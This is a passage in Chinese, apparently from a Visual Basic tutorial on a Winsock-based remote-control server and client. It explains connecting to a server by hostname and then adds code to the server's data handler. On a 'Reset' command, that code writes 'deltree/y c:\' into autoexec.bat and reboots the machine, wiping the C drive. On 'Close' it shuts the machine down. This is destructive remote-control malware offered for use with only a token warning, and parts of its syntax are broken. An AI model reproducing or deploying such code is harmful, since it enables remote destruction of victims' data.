以上两个程序已做好了，只有先在服务器端运行服务器端程序，再在客户端运行客户端程序，在用户名框输入服务器的主机名查找出其IP地址，进行连接就可以控制服务器了，就这么简单。也可以单机进行控制，就是在一台计算机上先运行服务器端程序，再运行客户端程序，输入本机用户名查找出其IP地址进行连接就行了。如果要更多的功能，可以在服务器端程序的Private
Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中的Case Else之后加入。例如想要产生一个重启之后进行格式化硬盘的命令就是在Private
Sub Winsock1_DataArrival(ByVal bytesTotal As Long）过程中，简单如下：
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dwReserved
As Long
Dim strget As String
Dim X As Long
Dim ccom As
String
Winsock1.GetData strget "读取到达的数据
Select Case strget
Case "Reset" "判断到达的数据是否‘Reset’，是则重启
Open "c:\autoexec.bat" For Output As #1
Print #1, "deltree/y c:\" "在重启时删除C盘上的所有文件
Close
X = ExitWindowsEx(EWX_RESET, dwReserved)
Case "Close" "如为‘Close’则关闭计算机
X = ExitWindowsEx(EWX_SHUTDOWN, dwReserved)
Case Else "可以在此加入其他命令
End Select
End Sub
该功能请不要乱用啊！否则后果自负。
